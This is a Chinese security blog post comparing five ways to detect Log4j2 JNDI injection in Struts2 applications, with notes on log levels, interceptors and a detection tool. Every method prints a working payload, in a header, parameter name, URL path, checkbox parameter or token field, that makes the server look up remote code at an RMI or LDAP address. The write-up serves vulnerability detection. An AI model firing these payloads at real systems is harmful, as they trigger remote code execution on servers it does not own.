天天看點

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

作者:希潭實驗室ABC123

Part1 前言

Log4j2漏洞出現有大半年的時間了,這個核彈級别的漏洞危害很大,但是這個漏洞檢測起來卻很麻煩,因為黑盒測試無法預判網站哪個應用功能在背景調用了log4j2記錄日志功能。目前通用的做法就是使用burpsuite插件進行被動掃描,原理就是把所有與使用者互動參數都用各種log4j2檢測payload測試一遍,然後觀察DNSlog中有沒有通路記錄。這個漏洞檢測方法和SQL注入、XSS漏洞有點像,正常方法很難完全發現漏洞,有時候就連研發人員自己也搞不清楚哪些應用功能點調用了log4j2,是以這個漏洞在相當長的時間裡會一直存在。

在這裡面要特别說明一下,burpsuite的被動插件掃描的方式,并不能完全發現Log4j2漏洞,因為有的log4j2漏洞需要特定的條件才能觸發,有時候需要手工構造一個特殊URL路徑,有時候需要發送一些架構特有的參數、消息頭等等,有的架構如Struts2、Spring等需要構造特殊的資料包才能觸發log4j2漏洞。網上有很多Struts2下log4j2漏洞檢測專項方法,但是貌似并沒有引起大家的重視。我大概有4、5年沒看過Struts2架構的代碼了,但畢竟對Struts2漏洞有感情了,是以就各種搜尋把網上的各種檢測方式彙總起來,搭建環境,跟蹤代碼,對各種檢測方法進行對比,最後給出2個可靠好用的檢測Struts2架構下Log4j2漏洞的方法。

Part2 技術研究過程

  • Struts2與log4j2日志級别配置

如下圖所示,這是log4j2元件中關于日志級别的定義。日志輸出級别共有8個,按照優先級從低到高為:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

接下來還要重點關注Struts2架構中log4j2.xml檔案的配置,主要看<Logger name="org.apache.struts2" level="info"/>這部分内容,因為幾乎所有的Struts2架構中的log4j2代碼執行漏洞,都在org.apache.struts2路徑下,觀察其配置的是info級别、還是warn級别,還是debug級别。這個級别對應的數字值越高,則越有可能觸發log4j2漏洞。如果Logger 配置的是info級别,由于info優先級比debug高,是以debug級别的log4j2的各種POC都沒法執行,這也是為什麼同樣的log4j2的POC,有的網友本地環境能測試成功,有的不能成功,這是因為對于org.apache.struts2路徑日志級别配置有所不同。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結
  • Struts2攔截器簡介

要想了解Struts2架構下log4j2漏洞檢測方法,首先需要了解一下Struts2的攔截器。當時Log4j2漏洞剛爆出的時候,我就感覺Struts2的攔截器中應該會有log4j2漏洞,因為所有的使用者請求都會經過攔截器去處理,攔截器棧上那麼多攔截器實作,其中肯定有各種log輸出功能,是以應該會有漏洞。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

1. 請求先到達Filter中央控制器;2. 然後為Action建立代理類;3. 将各個服務存放在攔截器中,執行完攔截器後再去執行action類,action類調用service,再調用dao;4. 得到結果字元串,建立result對象;5. 轉向相應的視圖。

歸納為一點:Struts2幾乎所有的請求,都會經過攔截器棧的處理,攔截器棧上有各種各樣的攔截器,而有的攔截器調用了log4j2輸出日志功能,我們隻需構造符合要求的http請求,就會觸發Log4j2漏洞。接下來看看網上收集到的5個漏洞檢測poc,挨個看一下,從中挑選比較好的檢測POC,以便在日常工作中事半功倍。

  • 方法1:靜态檔案If-Modified-Since頭

此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:

curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js

檢測原理:warn級别,當使用者通路Struts2架構的靜态檔案時,如果請求頭If-Modified-Since的值為非Date型,将會觸發log.warn(),導緻log4j2代碼執行漏洞。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

優缺點:這是我個人比較推薦的一種檢測方法。首先,它的日志級别是Log.warn(),比log.debug()寫法優先級要高,是以成功率更大一些。其次/struts/utils.js 這個檔案是多數Struts2架構内置的靜态檔案。但缺點是,不是所有版本的struts2 jar包中都存在這個靜态檔案,很多低版本的jar包中并不存在,是以這個方法需要總結出能夠涵蓋多個不同版本的Struts2架構的靜态檔案路徑才行。

如下圖所示,2.0.11版本jar包中不存在utils.js檔案:

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

如下圖所示,而2.5.13版本的jar包中存在utils.js這個檔案:

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結
  • 方法2:檢查請求參數長度

此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:

http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123

檢測原理:debug級别,通路一個存在的Struts2架構的action位址,Struts2架構會檢查請求參數名的長度,若長度超過預設的100個字元,請求參數名則會輸出到debug日志中,觸發log4j2漏洞。

優缺點:這個方法測試效果不錯,更重要的是同時支援GET請求和POST請求,在将來遇到WAF裝置攔截時,可以用更多的手段去繞過waf裝置攔截。缺點是日志級别的優先級是debug。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結
  • 方法3:檢查請求路徑觸發

此檢測payload摘自p1ay2win 天玄安全實驗室原創,檢測payload如下:

http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

本地測試怎麼都測試不成功,發現需要将rmi替換成ldap

http://localhost:8080/helloworld_war/$%7Bjndi:ldap:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/

檢測原理:warn級别,Struts2架構下URL路徑的action名如果不在[a-zA-Z0-9._!/\-]範圍以内,将會觸發 LOG.warn(),導緻log4j2代碼執行漏洞。

優缺點:第一眼看到上述POC,就感覺檢測payload中那幾個反斜杠肯定會導緻POC不能正常執行。但是文章作者給出了一個很好的解決方法:“在請求路徑中兩個相鄰的/會被轉換為一個/,将其中一個/替換為${::-/}可防止被轉換”。缺點是有的版本Struts2架構中DefaultActionMapper類中沒有cleanupActionName方法,導緻此流程的log4j2不能用。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結
  • 方法4:checkbox 攔截器

此檢測方法摘自安全客saound的檢測方法,檢測payload如下:

http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b

檢測原理:debug級别,這個檢測方法,基于struts2自帶的攔截器,當請求參數名以 __checkbox_ 開始并且重複定義時,會進入log4j2記錄分支,執行LOG.debug()執行,故構造請求如下:

優缺點:方法挺好的,唯一的缺點就是日志級别是debug級别的。

2.3.14.2版本代碼如下:

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

2.5.12版本代碼如下:

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結
  • 方法5:struts.token.name

此payload收集于網絡,原創作者不知道是誰,檢測payload如下:

http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'

優缺點:debug級别,這個payload看起來不錯,構造簡單,編寫腳本去掃描也比較省事。通過struts.token.name可知,我猜觸發點應該是在token攔截器中。我本地經過測試,大緻判斷應該是log.debug級别的,這裡就不詳細分析了。

綜上所述,最終通過對比這5個檢測payload,個人結論是方法1:擷取靜态檔案If-Modified-Since頭”這種方法成功率更高一些,其次是方法3:檢測請求路徑觸發。目前放出的檢測POC,也僅有這兩個payload是WARN級别的,是以它是成功率較高的檢測POC。缺點是,對于不了解Struts2架構的新手,定位靜态檔案是個麻煩事,寫掃描規則也麻煩。

  • 編寫檢測工具融合payload

為了避免人為記錄DNSLog的嫌疑,我沒有在工具中使用DNSLog的api接口,大家需要手工設定自己的log4j2 DNSlog位址。注意,我寫的工具這裡的“Log4j2 DNSLog位址:”這個檢測功能,隻針對Struts2架構下的log4j2檢測功能,并不通用所有的log4j2漏洞檢測。

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

Part3 總結

1. 網上的針對Struts2架構下log4j2漏洞的檢測POC,觸發點目前看來就是2種,log.warn()或者是log.debug(),那麼優先選擇觸發點在log.warn()的檢測payload。

2. 了解一下log4j2漏洞的原理,可以避免在實戰中做很多的無用功。使用“靜态檔案If-Modified-Since頭”這種檢測方法時,要注意Struts2架構自帶靜态檔案的正确URL位置,不要生搬硬套檢測POC。

參考連結:

https://www.anquanke.com/post/id/262852

https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg

https://blog.csdn.net/weixin_39604280/article/details/111104622

第14篇:Struts2架構下Log4j2漏洞檢測方法分析與總結

公衆号專注于網絡安全技術分享,包括APT事件分析、紅隊攻防、藍隊分析、滲透測試、代碼審計等,每周一篇,99%原創,敬請關注。

Contact me: 0day123abc#gmail.com(replace # with @)